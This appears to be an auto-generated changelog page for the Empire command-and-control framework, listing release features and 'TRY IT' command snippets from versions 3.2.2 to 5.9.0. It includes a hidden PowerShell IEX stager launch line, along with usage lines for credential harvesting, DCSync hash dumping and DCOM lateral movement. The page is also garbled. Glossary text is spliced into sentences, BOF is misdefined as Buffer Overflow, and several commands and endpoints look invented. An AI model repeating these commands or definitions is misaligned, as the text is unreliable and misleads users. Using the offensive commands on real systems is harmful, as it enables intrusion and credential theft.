! Returning tuples from module generate functions is deprecated; raise ModuleValidationException for 400 errors and ModuleExecutionException for 500 errors instead of using handle_error_message! Returning tuples from plugin execution functions is deprecated; raise PluginValidationException for 400 errors and PluginExecutionException for 500 errors! Loading plugins from a .plugin file is deprecated; use a .py file with a plugin.yaml instead! Extending the Plugin class is deprecated; use the BasePlugin class instead! Plugins must now have a plugin.yaml; the Base plugin class is now BasePlugin
Empire 5.9.0 adds YAML-based BOF BOF A Buffer Overflow exploit technique where attacker-controlled input overwrites adjacent memory to hijack program execution; cyber tools use it to develop and deliver shellcode-based exploits against vulnerable binaries. modules and custom cert path to server config
└──▷ GET THIS VERSION
copy
$ git clone --branch 5.9.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout 5.9.0
Adds custom_certificate_path key to server_config.yaml to specify the TLS certificate location for the Empire server Not checked yet Adds support for Beacon Object Files (BOFs) as YAML modules, enabling immediate use of ClipBoardWindow-Inject, nanodump, secinject, tgtdelegation, and TrustedSec's SA modules Not checked yet
2 details in Everything
v5.8.1 adds tags search to credentials API endpoints and lets users disable Starkiller.
└──▷ GET THIS VERSION
copy
$ git clone --branch v5.8.1 https://github.com/BC-SECURITY/Empire.git
$ git checkout v5.8.1
config.yaml now accepts the Starkiller.enabled key (default true) to toggle the web UI on or off Not checked yet Credentials API endpoints (/api/credentials, /api/agents/:agent_id/creds) accept a tags query parameter to filter results Not checked yet
2 details in Everything
└──▷ BREAKING ON UPGRADE
! Pydantic upgrade to v2 may require updates to custom validation logic if the tool's Python modules use Pydantic directly.
Adds a post-staging bypass module and updates Starkiller to v2.6.1 in Empire v5.7.3
└──▷ GET THIS VERSION
copy
$ git clone --branch v5.7.3 https://github.com/BC-SECURITY/Empire.git
$ git checkout v5.7.3
Adds a new bypass module that executes PowerShell bypasses after an agent is successfully staged. Not checked yet Updates the Starkiller web interface to version 2.6.1. Not checked yet
2 details in Everything
Empire v5.6.3 adds Advanced Reporting Plugin; v5.6.0 introduces tagging system with REST endpoints and UI filters.
└──▷ GET THIS VERSION
copy
$ git clone --branch v5.6.3 https://github.com/BC-SECURITY/Empire.git
$ git checkout v5.6.3
v5.6.0 Adds tags to Listeners, Agents, Agent Tasks, Plugin Tasks, Credentials, and Downloads Not checked yet v5.6.0 Adds API endpoints to add, edit, and delete tags for each resource type Not checked yet v5.6.0 Adds tag list endpoint (GET /tags) Not checked yet v5.6.0 Adds tag filters to Agent Tasks, Plugin Tasks, and Downloads queries Not checked yet v5.6.0 Adds events for new and updated tags Not checked yet
+2 more
show less
v5.6.0 Adds Invoke-PhishingLNK Module Not checked yet v5.6.3 Adds Advanced Reporting Plugin and dependencies Not checked yet
7 details in Everything
Empire 5.6.0 adds tagging across resources and a new Invoke-PhishingLNK module
└──▷ GET THIS VERSION
copy
$ git clone --branch 5.6.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout 5.6.0
Add tags to Listeners, Agents, Agent Tasks, Plugin Tasks, Credentials, and Downloads Not checked yet Add endpoints to add, edit, and delete tags for each resource type Not checked yet Add tag list endpoint Not checked yet Add tag filters to Agent Tasks, Plugin Tasks, and Downloads Not checked yet Add events for new and updated tags Not checked yet
+1 more
show less
Allow download_service to accept a pathlib.Path object to create a download Not checked yet
6 details in Everything
Empire v5.5.0 adds agent checkins API endpoints, Malleable Profile reloads, and multiple new Python-based modules.
└──▷ GET THIS VERSION
copy
$ git clone --branch v5.5.3 https://github.com/BC-SECURITY/Empire.git
$ git checkout v5.5.3
Adds checkins endpoint to retrieve agent checkin history as a list Not checked yet Adds checkins/aggregate endpoint to get aggregated checkin data (excluded with SQLite) Not checked yet Adds Python agent support to the hop listener for staging Not checked yet Adds IronPython SMB SMB A network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments. Agents/Listener Not checked yet Adds LinPEAS to Python modules Not checked yet
+2 more
show less
Adds Python obfuscation capability using python-obfuscator Not checked yet Expands file options configuration across plugins, stagers, and listeners Not checked yet
7 details in Everything
└──▷ BREAKING ON UPGRADE
! Aggregate endpoint checkins/aggregate is not supported with SQLite; using SQLite for this feature will fail.! Removed .NET Core modules due to errors! Removed redundant C# lateral movement lateral movement Moving from an initially compromised system or identity to other resources in a network. Attackers often use stolen credentials or trusted connections to expand their access. modules! Removed Covenant Mimikatz in favor of Invoke-Mimikatz! Removed Invoke-Assembly in favor of Covenant's execute assembly! Removed Invoke-BOF BOF A Buffer Overflow exploit technique where attacker-controlled input overwrites adjacent memory to hijack program execution; cyber tools use it to develop and deliver shellcode-based exploits against vulnerable binaries. in favor of RunOF! Removed Invoke-Rubeus in favor of Covenant's Rubeus! Removed Invoke-Seatbelt in favor of Covenant's Seatbelt
Empire 5.5.0 adds agent checkins endpoints, IronPython SMB SMB A network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments. agents, Python obfuscation, and reloadable profiles.
└──▷ GET THIS VERSION
copy
$ git clone --branch 5.5.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout 5.5.0
Adds checkins and checkins/aggregate API endpoints to expose agent checkin data as a list or aggregated view Not checked yet Adds IronPython support for SMB Agents/Listeners Not checked yet Adds python-obfuscator integration for Python modules Not checked yet Adds LinPEAS to the Python modules library Not checked yet Adds reload endpoint for Malleable Profiles, Modules, Bypasses, and Plugins Not checked yet
+1 more
show less
Adds staging capability to hop listener Not checked yet
6 details in Everything
Empire v5.4.2 includes Starkiller UI update and Python 3 support for multi_socks module
└──▷ GET THIS VERSION
copy
$ git clone --branch v5.4.2 https://github.com/BC-SECURITY/Empire.git
$ git checkout v5.4.2
Adds python_multi_socks module compatibility with Python 3 runtime environments Not checked yet
1 detail in Everything
v5.2.2 updates Starkiller and dependencies; v5.2.0 adds plugin system with new endpoints and kwargs.
└──▷ GET THIS VERSION
copy
$ git clone --branch v5.2.2 https://github.com/BC-SECURITY/Empire.git
$ git checkout v5.2.2
Update Starkiller to v2.2.0 Not checked yet Dependency upgrades (@Vinnybod) Not checked yet Added new plugin functionality Not checked yet Added plugin tasks Not checked yet Added plugin task endpoints Not checked yet
+1 more
show less
Gave plugins kwargs to allow for more flexibility. Plugins are now receiving a database session and user object. Not checked yet
6 details in Everything
└──▷ BREAKING ON UPGRADE
! Tasks renamed to AgentTasks
v5.1.2 ships Starkiller v2.1.1; previous versions added D/Invoke support and module script API.
└──▷ GET THIS VERSION
copy
$ git clone --branch v5.1.2 https://github.com/BC-SECURITY/Empire.git
$ git checkout v5.1.2
Updated bundled Starkiller web UI to v2.1.1 Not checked yet
1 detail in Everything
Empire 5.1.1 adds D/Invoke process injection, IronPython launcher support, and language options to spawn modules.
└──▷ GET THIS VERSION
copy
$ git clone --branch 5.1.1 https://github.com/BC-SECURITY/Empire.git
$ git checkout 5.1.1
└──▷ TRY IT
Inject process using the D/Invoke technique for stealthier execution.
copy
$ invoke_process_inject --technique D/Invoke
Adds D/Invoke option to Process Injection Not checked yet Adds language option to spawn and spawnas modules Not checked yet Adds IronPython and csharp to windows/launcher_bat Not checked yet
3 details in Everything
Empire v5.0.3 adds Starkiller v2.0.5, Python 3.11 support, and fixes Kerberoast; no new API endpoints or config keys introduced.
└──▷ GET THIS VERSION
copy
$ git clone --branch v5.0.3 https://github.com/BC-SECURITY/Empire.git
$ git checkout v5.0.3
└──▷ HOW TO FIND IT
View detailed help for a specific client command like shell.
📍 help shell
Execute a shell command literally, bypassing any aliases that might interfere.
copy
$ shell --literal whoami
help <command> client command prints full doc string for functions like shell Not checked yet --literal flag on shell commands to ignore built-in aliases like whoami or ps Not checked yet
2 details in Everything
└──▷ BREAKING ON UPGRADE
! The old REST API REST API A web API design style where clients interact with resources over HTTP using standard methods like GET, POST, and DELETE, giving cyber tools a predictable, language-agnostic way to integrate with external services. has been removed; use the new v2 API instead! The old WebSocket WebSocket A protocol that upgrades an HTTP connection into a persistent, full-duplex channel, letting a server push data to a client without repeated polling. Cyber tools use it for real-time event streaming and live command output. API has been removed; use the new v2 API instead
Empire 5.0.2 enables task API usage with empty user identity and adds a shebang to checkout script.
└──▷ GET THIS VERSION
copy
$ git clone --branch 5.0.2 https://github.com/BC-SECURITY/Empire.git
$ git checkout 5.0.2
└──▷ TRY IT
Create a task without requiring a specific user identity.
copy
$ curl -X POST https://<empire-host>/api/v2/task -H 'Authorization: Bearer <token>' -d '{"module_id": "example", "user_id": ""}'
└──▷ BREAKING ON UPGRADE
! The task API now uses module_id instead of module_slug for consistent naming
Adds Debian/Ubuntu/ParrotOS support, new install flag, and Crypto Miner/PSRansom modules.
└──▷ GET THIS VERSION
copy
$ git clone --branch v4.10.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout v4.10.0
Supports installation on Debian 11, Ubuntu 22.04, and ParrotOS Not checked yet Adds -y option to the install script for automatic confirmation Not checked yet Adds C# Crypto Miner module for automated cryptocurrency mining Not checked yet Adds PSRansom module for ransomware simulation Not checked yet
4 details in Everything
Empire 5.0 adds Starkiller UI, MySQL support, v2 API, stageless agents, and --literal flag.
└──▷ GET THIS VERSION
copy
$ git clone --branch 5.0.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout 5.0.0
└──▷ USE IT
Run a shell command literally, ignoring any built-in aliases like whoami or ps.
shell
copy
shell --literal whoami
Switch Empire to use MySQL instead of the default SQLite by setting the environment variable during startup.
shell
copy
DATABASE_USE=mysql docker run ... empire-server
Adds Starkiller as an integrated web app Not checked yet Adds full MySQL support as the new default database backend Not checked yet Adds v2 API with autogenerated docs Not checked yet Adds stageless options for agents Not checked yet Adds clear window command to client Not checked yet
+8 more
show less
Adds mouse_support to client Not checked yet Adds RunOF module to support COFF/BOF BOF A Buffer Overflow exploit technique where attacker-controlled input overwrites adjacent memory to hijack program execution; cyber tools use it to develop and deliver shellcode-based exploits against vulnerable binaries. execution Not checked yet Adds new database table for files Not checked yet Adds server-side storage of stagers Not checked yet Adds listener, agent, and task hooks with db session support Not checked yet Adds global obfuscation config (removed from config table) Not checked yet Adds authors to bypass endpoints Not checked yet Adds help <function> command in client for full doc strings Not checked yet
13 details in Everything
└──▷ BREAKING ON UPGRADE
! The old REST API REST API A web API design style where clients interact with resources over HTTP using standard methods like GET, POST, and DELETE, giving cyber tools a predictable, language-agnostic way to integrate with external services. is removed! The old WebSocket WebSocket A protocol that upgrades an HTTP connection into a persistent, full-duplex channel, letting a server push data to a client without repeated polling. Cyber tools use it for real-time event streaming and live command output. API is removed! The socketport config key is removed since socketio runs on the same port as the API! AFTER_AGENT_STAGE2_HOOK is replaced with AFTER_AGENT_CHECKIN_HOOK
Empire v4.7.0 adds IronPython module support, Chisel proxy submodules, and a resource file client command
└──▷ GET THIS VERSION
copy
$ git clone --branch v4.7.1 https://github.com/BC-SECURITY/Empire.git
$ git checkout v4.7.1
Add resource file command to the Empire client for loading external script files Not checked yet New IronPython execution environment allowing PowerShell and C# scripts to run inside modules Not checked yet Add ChiselServer plugin as a submodule for Socks proxy tunneling Not checked yet Add SocksProxyServer plugin as a submodule for Socks proxy tunneling Not checked yet
4 details in Everything
Adds resource command, PowerShell/C# IronPython modules, ChiselServer/SocksProxyServer plugins.
└──▷ GET THIS VERSION
copy
$ git clone --branch 4.7.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout 4.7.0
Add a resource file command to the client Not checked yet Add ChiselServer, SocksProxyServer plugin as a submodule Not checked yet
2 details in Everything
Empire v4.6.0 adds Certify module, embedded VNC VNC A remote desktop protocol that transmits screen framebuffer updates over a network and relays keyboard and mouse input back, letting cyber tools observe or control a graphical session on a remote machine. , C#/BAT obfuscation, JA3 JA3 A method for fingerprinting TLS clients by hashing fields from the ClientHello message, producing a short string that identifies the TLS library or application making a connection regardless of IP or port. evasion, and --reset CLI flag; v4.6.1 is a bug fix.
└──▷ GET THIS VERSION
copy
$ git clone --branch v4.6.1 https://github.com/BC-SECURITY/Empire.git
$ git checkout v4.6.1
└──▷ TRY IT
Launch a .bat stager with basic parsing to ensure compatibility on older Windows systems.
copy
$ Empire > usestager/windows/launcher_bat
[>] Agent: <agent_name>
[?] Choose an Obfuscation Technique (0. None): 0
[>] Run the following command in the target system:
powershell.exe -nop -w hidden -c "IEX ($null..." --BasicParsing
Reset the Empire client session state completely from the command line.
Certify C# module added for active directory certificate attacks Not checked yet Embedded VNC client and launcher for remote desktop via agent Not checked yet New obfuscate option on C# payload creation to obfuscate generated code Not checked yet Global obfuscation enabled for all C# modules via config/option Not checked yet --BasicParsing flag added to .bat launcher for compatibility Not checked yet
+4 more
show less
Obfuscation support added to BAT launchers for HTTP and HTTP COM listeners Not checked yet New option to enable or disable JA3 evasion technique Not checked yet JA3 evasion technique now supported in Malleable HTTP profiles Not checked yet Config option added to client UI to remove borders on tables Not checked yet
9 details in Everything
Empire 4.6.0 adds Certify module, embedded VNC VNC A remote desktop protocol that transmits screen framebuffer updates over a network and relays keyboard and mouse input back, letting cyber tools observe or control a graphical session on a remote machine. , C# obfuscation, JA3 JA3 A method for fingerprinting TLS clients by hashing fields from the ClientHello message, producing a short string that identifies the TLS library or application making a connection regardless of IP or port. evasion, and BAT launcher args
└──▷ GET THIS VERSION
copy
$ git clone --branch 4.6.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout 4.6.0
└──▷ TRY IT
Reset the Empire client configuration to defaults using the new flag
Launch a BAT payload with basic parsing enabled for specific CMD environments
copy
$ empire listeners http -o OutFile=launcher.bat -BasicParsing
--reset flag added to the client for resetting configuration Not checked yet Added Certify C# module for certificate-related attacks Not checked yet Added embedded VNC client and launcher capability Not checked yet Added global obfuscation option to C# modules Not checked yet Added obfuscation support to BAT launcher for HTTP and HTTP COM transports Not checked yet
+4 more
show less
Added -BasicParsing flag to the .bat launcher Not checked yet Added option to enable/disable JA3 evasion in agent staging Not checked yet Added JA3 evasion technique support within Malleable HTTP profiles Not checked yet Updated client config option to remove borders on tables Not checked yet
9 details in Everything
v4.5.3 adds C# execution modules and configurable keyword obfuscation in config.yaml
└──▷ GET THIS VERSION
copy
$ git clone --branch v4.5.3 https://github.com/BC-SECURITY/Empire.git
$ git checkout v4.5.3
script_import can now upload files from the client's machine to the agent session. Not checked yet Adds Keyword_Obfuscations section to config.yaml to define keyword replacement lists for payload generation. Not checked yet Adds support for C# execution modules within the Empire agent framework. Not checked yet
3 details in Everything
powershell-empire 4.5.0 introduces keyword obfuscation config, C# modules, and script_import capability
└──▷ GET THIS VERSION
copy
$ git clone --branch 4.5.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout 4.5.0
Added C# execution modules for post-exploitation Not checked yet script_import now supports uploading a file from the client's machine Not checked yet
2 details in Everything
Empire v4.4.1 adds auto-copy clipboard and directory settings in yaml; includes bug fixes.
└──▷ GET THIS VERSION
copy
$ git clone --branch v4.4.1 https://github.com/BC-SECURITY/Empire.git
$ git checkout v4.4.1
Added auto_copy option to listener configurations to automatically copy the staging URL to the clipboard upon listener creation Not checked yet Added download_path, stager_path, and obfuscated_module_path keys to the main .empire/config.yaml file to control where generated artifacts are stored Not checked yet
2 details in Everything
└──▷ BREAKING ON UPGRADE
! Removed http_mapi.ps1 from the project; any custom listeners or modules referencing this script will fail to load.! Removed support for meterpreter and mapi listener types; existing configurations using these listeners must be migrated to a supported type.
Empire 4.4.0 adds directory settings to YAML config, C# process injection module, PowerShell bypass YAMls, and Black/Isort integration.
└──▷ GET THIS VERSION
copy
$ git clone --branch 4.4.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout 4.4.0
directory config keys in YAML for downloads, stagers, and obfuscated_modules paths Not checked yet New C# process injection agent/listener module Not checked yet New bypass configuration YAMls for PowerShell listeners Not checked yet Black and Isort code formatting integration Not checked yet
4 details in Everything
└──▷ BREAKING ON UPGRADE
! Random capitalization function removed from listener configuration (listeners no longer randomize case)! Removed meterpreter and mapi listeners (these listener types are no longer available)
Adds obfuscation, file upload/download, autostart plugin, Invoke-BOF BOF A Buffer Overflow exploit technique where attacker-controlled input overwrites adjacent memory to hijack program execution; cyber tools use it to develop and deliver shellcode-based exploits against vulnerable binaries. support, and agent stage2 hooks to Empire CLI
└──▷ GET THIS VERSION
copy
$ git clone --branch v4.3.3 https://github.com/BC-SECURITY/Empire.git
$ git checkout v4.3.3
Adds obfuscation options into Empire CLI Not checked yet Adds upload & download options for Empire CLI Not checked yet Adds autostart plugin with options to config file Not checked yet Adds C# server plugin to run on startup Not checked yet Adds Invoke-BOF module Not checked yet
+2 more
show less
Added hook for when an agent is fully checked in (stage2) Not checked yet Adds Plugin folders and extensions Not checked yet
7 details in Everything
Empire v4.2.0 adds revershell/cmd launchers, IronPython support, SOCKS SOCKS A proxy protocol that relays TCP (and optionally UDP) connections through an intermediary server, letting cyber tools route traffic through a pivot host or anonymizing layer without needing raw network access. /TOR/HTTP pivots, Donut shellcode, and C# VNC VNC A remote desktop protocol that transmits screen framebuffer updates over a network and relays keyboard and mouse input back, letting cyber tools observe or control a graphical session on a remote machine. server
└──▷ GET THIS VERSION
copy
$ git clone --branch v4.2.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout v4.2.0
Adds revershell launcher to the available payload options for agent creation Not checked yet Adds cmd launcher to the available payload options for agent creation Not checked yet Adds IronPython support allowing compilation through Empire with an embedded standard library Not checked yet Adds proxy pivot capabilities (SOCKS, TOR, HTTP) directly within python-based agents Not checked yet Adds a new VNC module backed by a C# implementation for remote desktop access Not checked yet
+2 more
show less
Adds extended rights management for Active Directory Active Directory Microsoft's directory service for Windows networks that centralises authentication and authorisation; cyber tools target or integrate with it because it controls identity and access across most enterprise environments. certificate templates Not checked yet Adds Donut support for generating shellcode from .NET assemblies Not checked yet
7 details in Everything
└──▷ BREAKING ON UPGRADE
! sRDI is removed as a supported method for shellcode delivery
Empire v4.1.3: New IronPython3 agent and initial filtering/hooking support
└──▷ GET THIS VERSION
copy
$ git clone --branch v4.1.3 https://github.com/BC-SECURITY/Empire.git
$ git checkout v4.1.3
Adds Invoke-IronPython3 module for executing payloads via IronPython3 runtime. Not checked yet Initial release of the filtering/hooking feature in the Empire Client. Not checked yet Adds autocomplete for taskings in the Empire Client with a command to view specific tasks. Not checked yet Adds Python agents to the external/generate_agent module. Not checked yet
4 details in Everything
Empire 4.1.1 adds DCSync DCSync An attack that abuses Active Directory replication permissions to request password-related data from a domain controller. It imitates the synchronization normally performed between controllers. hashdump output function, Python agent generation, and Invoke-IronPython3.
└──▷ GET THIS VERSION
copy
$ git clone --branch 4.1.1 https://github.com/BC-SECURITY/Empire.git
$ git checkout 4.1.1
└──▷ TRY IT
Export DCSync hash dump results to a specific output format like JSON or CSV.
copy
$ usestarget <target> && usemodule credential_management/dcsync_hashdump OutputFunction JSON
Add OutputFunction to dcsync_hashdump Not checked yet Convert file operations to use with syntax Not checked yet Added Invoke-IronPython3 and some OffensiveDLR fixes Not checked yet Added Python agents to the external/generate_agent module Not checked yet
4 details in Everything
Empire 4.1.0 adds initial filtering/hooking, autocomplete, and IronPython3 agent support
└──▷ GET THIS VERSION
copy
$ git clone --branch 4.1.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout 4.1.0
└──▷ HOW TO FIND IT
Use the new autocomplete to quickly select tasks in the Empire client interface.
📍 In the Empire Client, type task and press Tab to autocomplete tasking options.
Adds an initial filtering/hooking feature to the Empire client. Not checked yet Adds autocomplete for taskings in the Empire Client and a command to view a specific task. Not checked yet
2 details in Everything
PowerShell Empire v4.0.2 adds socketio messages for agent communication and improves CLI UX
└──▷ GET THIS VERSION
copy
$ git clone --branch v4.0.2 https://github.com/BC-SECURITY/Empire.git
$ git checkout v4.0.2
Adds socketio message types to enable screenshot, download, and upload operations over the agent listener Not checked yet Adds a help message display when empire.py is invoked without any input arguments Not checked yet
2 details in Everything
v4.0.1 adds API sleep/jitter and CLI sleep command for agent control
└──▷ GET THIS VERSION
copy
$ git clone --branch v4.0.1 https://github.com/BC-SECURITY/Empire.git
$ git checkout v4.0.1
Adds sleep command to the Empire CLI for configuring agent sleep intervals Not checked yet Adds API endpoints for setting sleep and jitter values on agents Not checked yet
2 details in Everything
└──▷ BREAKING ON UPGRADE
! Removed old Empire CLI and cmdloop from server! The credential create endpoint now accepts a single credential instead of a list! Some endpoints which were previously throwing 500s when not found, now properly return a 404! Plugin endpoints and socketio channels renamed to plural (plugin -> plugins) to match naming convention of other resources
Empire 4.0 adds C#/Nim agents, Covenant compatibility, server/client integration and new API/CLI surfaces for bypasses, tasks and credentials.
└──▷ GET THIS VERSION
copy
$ git clone --branch 4.0.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout 4.0.0
Adds a Nim launcher agent type alongside the existing PowerShell and C# agents. Not checked yet Introduces Covenant Task compatibility using the integrated Covenant Roslyn compiler for task compilation. Not checked yet Adds suggested_values support on the server to auto-complete values in the CLI. Not checked yet Adds scriptimport and scriptcommand endpoints to the API for importing and executing scripts remotely. Not checked yet Adds a since query parameter to the /tasks endpoint for efficient filtering of recent tasking results. Not checked yet
+9 more
show less
Adds socketio event handlers to the CLI so that tasking results display directly in the interact menu. Not checked yet Adds new bypass management endpoints on the server and corresponding CLI commands to create, update, and remove agents. Not checked yet Introduces a Bypasses field on agent configurations where bypasses are applied in the order provided. Not checked yet Updates credential management with separate GET, UPDATE, and DELETE endpoints plus CLI support for creating, updating, and removing credentials. Not checked yet Adds new modules: Start-ProcessAsUser, NTLM-Extract , Invoke-SharpSecDump, and Invoke-SpoolSample. Not checked yet Adds MS16-051 stager support for generating initial implants. Not checked yet Integrates the Offensive DLR Modules IronPython, ClearScript, and Boolang for dynamic language execution. Not checked yet Updates PowerDump to use AES AES A symmetric block cipher standardized by NIST that encrypts data in 128-bit blocks using 128-, 192-, or 256-bit keys; tools use it because hardware acceleration makes it fast enough for bulk encryption. NTLM NTLM A Windows authentication protocol that proves knowledge of a password through a challenge and response. Captured authentication exchanges can be abused in relay attacks when protections are absent. hashes instead of the legacy RC4 implementation. Not checked yet Simplifies kill/remove commands by adding all and stale options to target multiple agents at once. Not checked yet
14 details in Everything
└──▷ BREAKING ON UPGRADE
! The old Empire CLI and cmdloop are removed; use the new integrated server/client interface.! The credential create endpoint now accepts a single credential object instead of a list.! Plugin endpoints and socketio channels are renamed to plural forms (e.g., /plugins instead of /plugin).
v3.8.0 adds Invoke-SweetPotato module and allows binding the RESTful API to a specific IP.
└──▷ GET THIS VERSION
copy
$ git clone --branch v3.8.2 https://github.com/BC-SECURITY/Empire.git
$ git checkout v3.8.2
Add ability to specify the bind IP for RESTful API Not checked yet
1 detail in Everything
New Empire CLI, malleable C2 profiles directory, and Invoke-WireTap/SauronEye/SharpLoginPrompt listeners
└──▷ GET THIS VERSION
copy
$ git clone --branch v3.7.2 https://github.com/BC-SECURITY/Empire.git
$ git checkout v3.7.2
└──▷ USE IT
Specify the team server when generating a launcher payload using the new CLI flag
shell
copy
./launcher.py --teamserver <ip>:<port>
Store custom malleable C2 profiles in the newly added data directory
shell
copy
cp custom.profile /data/profiles/custom.profile
Use the new Invoke-WireTap listener module for credential harvesting
shell
copy
usemodule powershell/credential_stealing/invoke_wiretap
Adds --teamserver option to the launcher script for specifying the team server address Not checked yet Introduces new Empire CLI tool available in packaging for managing instances Not checked yet Adds malleable C2 profiles directory at /data/profiles for custom profile storage Not checked yet Includes Invoke-WireTap, Invoke-SauronEye, and Invoke-SharpLoginPrompt as new listener modules Not checked yet
4 details in Everything
Empire v3.6.2 adds Python HTTP malleable listeners, new admin API endpoints, Starkiller chat server integration, and the PrivescCheck module.
└──▷ GET THIS VERSION
copy
$ git clone --branch v3.6.2 https://github.com/BC-SECURITY/Empire.git
$ git checkout v3.6.2
Adds update_comms, killdate, and workinghours API endpoints to Empire v3.6.1
└──▷ GET THIS VERSION
copy
$ git clone --branch v3.6.1 https://github.com/BC-SECURITY/Empire.git
$ git checkout v3.6.1
└──▷ TRY IT
Trigger a kill date or update communications via the Empire REST API REST API A web API design style where clients interact with resources over HTTP using standard methods like GET, POST, and DELETE, giving cyber tools a predictable, language-agnostic way to integrate with external services. .
copy
$ curl -X POST https://<empire-host>:1337/api/admin/stager/<stager_id>/killdate?date=2024-12-31
# or for working hours:
curl -X POST https://<empire-host>:1337/api/admin/stager/<stager_id>/workinghours?start=09:00&end=17:00
# or to sync comms data:
curl -X POST https://<empire-host>:1337/api/admin/stager/<stager_id>/update_comms
Empire v3.6.0 adds API endpoints for notes, multiple redirector listeners, Invoke-Assembly/SharpChisel modules
└──▷ GET THIS VERSION
copy
$ git clone --branch v3.6.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout v3.6.0
└──▷ TRY IT
Attach a note to an agent using the new API endpoints to track operations or context.
copy
$ curl -X POST http://<empire_host>:1337/api/users/<agent_uuid>/notes -H "Authorization: Bearer <token>" -d '{"note": "Cobalt Strike migration in progress"}'
Adds GET /users/<id>/notes, POST /users/<id>/notes, and similar endpoints to manage user and agent notes via the API Not checked yet Adds support for configuring multiple redirector listeners and chaining them Not checked yet Adds the Invoke-Assembly module for loading .NET assemblies into agents Not checked yet Adds the Invoke-SharpChisel module for C2 tunneling Not checked yet
4 details in Everything
Adds Invoke-ZeroLogon and Invoke-SocksProxy listeners plus powercat/powermad modules to Empire v3.5.0.
└──▷ GET THIS VERSION
copy
$ git clone --branch v3.5.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout v3.5.0
Adds Invoke-ZeroLogon module for executing the ZeroLogon attack Not checked yet Adds Invoke-SocksProxy listener type for SOCKS SOCKS A proxy protocol that relays TCP (and optionally UDP) connections through an intermediary server, letting cyber tools route traffic through a pivot host or anonymizing layer without needing raw network access. proxying through a compromised host Not checked yet Adds powercat netcat-like network transfer module Not checked yet Adds powermad modules for creating computer accounts and other Active Directory Active Directory Microsoft's directory service for Windows networks that centralises authentication and authorisation; cyber tools target or integrate with it because it controls identity and access across most enterprise environments. manipulation Not checked yet
4 details in Everything
Empire 3.4.0 adds Malleable C2 HTTP Listener, startup plugins, and several new modules.
└──▷ GET THIS VERSION
copy
$ git clone --branch v3.4.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout v3.4.0
Added Malleable C2 HTTP Listener support for traffic obfuscation Not checked yet Added ability to reflectively load files into memory Not checked yet Added Invoke-DomainPasswordSpray module for password spraying password spraying Trying a small number of common passwords across many accounts. Attackers spread attempts out to avoid the lockouts caused by repeatedly guessing one user's password. attacks Not checked yet Added Invoke-WinPEAS module for privilege escalation privilege escalation Gaining permissions beyond those an account or process initially had. It can turn limited access into administrator control or access to another user's resources. auditing Not checked yet Added Invoke-Watson module for kernel exploit detection Not checked yet
+2 more
show less
Added support for loading plugins at startup Not checked yet Updated Slack API notifications to use webhooks Not checked yet
7 details in Everything
Empire v3.3.3 adds get_gpo_computer and port forwarding modules plus custom command options for lateral movement lateral movement Moving from an initially compromised system or identity to other resources in a network. Attackers often use stolen credentials or trusted connections to expand their access.
└──▷ GET THIS VERSION
copy
$ git clone --branch v3.3.3 https://github.com/BC-SECURITY/Empire.git
$ git checkout v3.3.3
└──▷ TRY IT
List computers targeted by Group Policy Objects during a red team assessment.
copy
$ invoke module get_gpo_computer
Forward local port 8080 to a remote host via the agent.
copy
$ invoke module port_forwarding --localport 8080 --remotehost <target> --remoteport 443
Execute a custom command via DCom instead of the default payload.
copy
$ invoke module invoke_dcom --custom_command 'whoami'
Adds get_gpo_computer module to retrieve GPO-associated computers. Not checked yet Adds port_forwarding module to establish port forwards from the agent. Not checked yet Updates invoke_smbexec, invoke_dcom, invoke_executemsbuild, and invoke_wmi lateral movement modules to include an option for custom commands. Not checked yet
3 details in Everything
Empire v3.3.0 adds MITRE ATT&CK MITRE ATT&CK A publicly maintained knowledge base of adversary tactics and techniques observed in real attacks, maintained by MITRE. Cyber tools use it as a common taxonomy to classify, map, and communicate threat behavior. integration, AMSI bypass options, Invoke-Rubeus, and Filescraper commands
└──▷ GET THIS VERSION
copy
$ git clone --branch v3.3.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout v3.3.0
Adds Invoke-Rubeus module for Kerberoasting Kerberoasting An attack that obtains Kerberos service tickets and tries to crack their encrypted contents offline. Recovering a weak service-account password can give the attacker that account's access. scenarios Not checked yet Adds Filescraper commands for file enumeration on compromised hosts Not checked yet Adds keyword obfuscation option to modules via a new configuration parameter Not checked yet Adds AMSIBypass option to modules that generate new agents Not checked yet Adds MITRE MITRE A US federally funded research and development center that maintains public frameworks—ATT&CK, CVE, D3FEND—that cyber tools use to classify threats, vulnerabilities, and defensive techniques in a common language. Attack Techniques/Software mapping functionality Not checked yet
5 details in Everything
Empire v3.2.3 adds Invoke-Seatbelt module, MITRE MITRE A US federally funded research and development center that maintains public frameworks—ATT&CK, CVE, D3FEND—that cyber tools use to classify threats, vulnerabilities, and defensive techniques in a common language. metadata, and timezone-aware timestamps
└──▷ GET THIS VERSION
copy
$ git clone --branch v3.2.3 https://github.com/BC-SECURITY/Empire.git
$ git checkout v3.2.3
└──▷ TRY IT
Execute Seatbelt system information gathering on a compromised Windows host via Empire
copy
$ (listener) execute module powershell/lateral_movement/invoke_seatbelt with TargetHost=192.168.1.50
Invoke-Seatbelt module allows running Seatbelt gathering techniques directly from Empire listeners Not checked yet Modules now include mitre_technique and mitre_software fields for ATT&CK ATT&CK A publicly maintained knowledge base by MITRE cataloguing adversary tactics, techniques, and procedures observed in real attacks, giving cyber tools a common taxonomy for classifying and correlating threat behavior. mapping Not checked yet All listener and agent communication timestamps are now timezone-aware (previously naive UTC) Not checked yet
3 details in Everything
Adds Invoke-PrintDemon module and plugin API endpoints.
└──▷ GET THIS VERSION
copy
$ git clone --branch v3.2.2 https://github.com/BC-SECURITY/Empire.git
$ git checkout v3.2.2
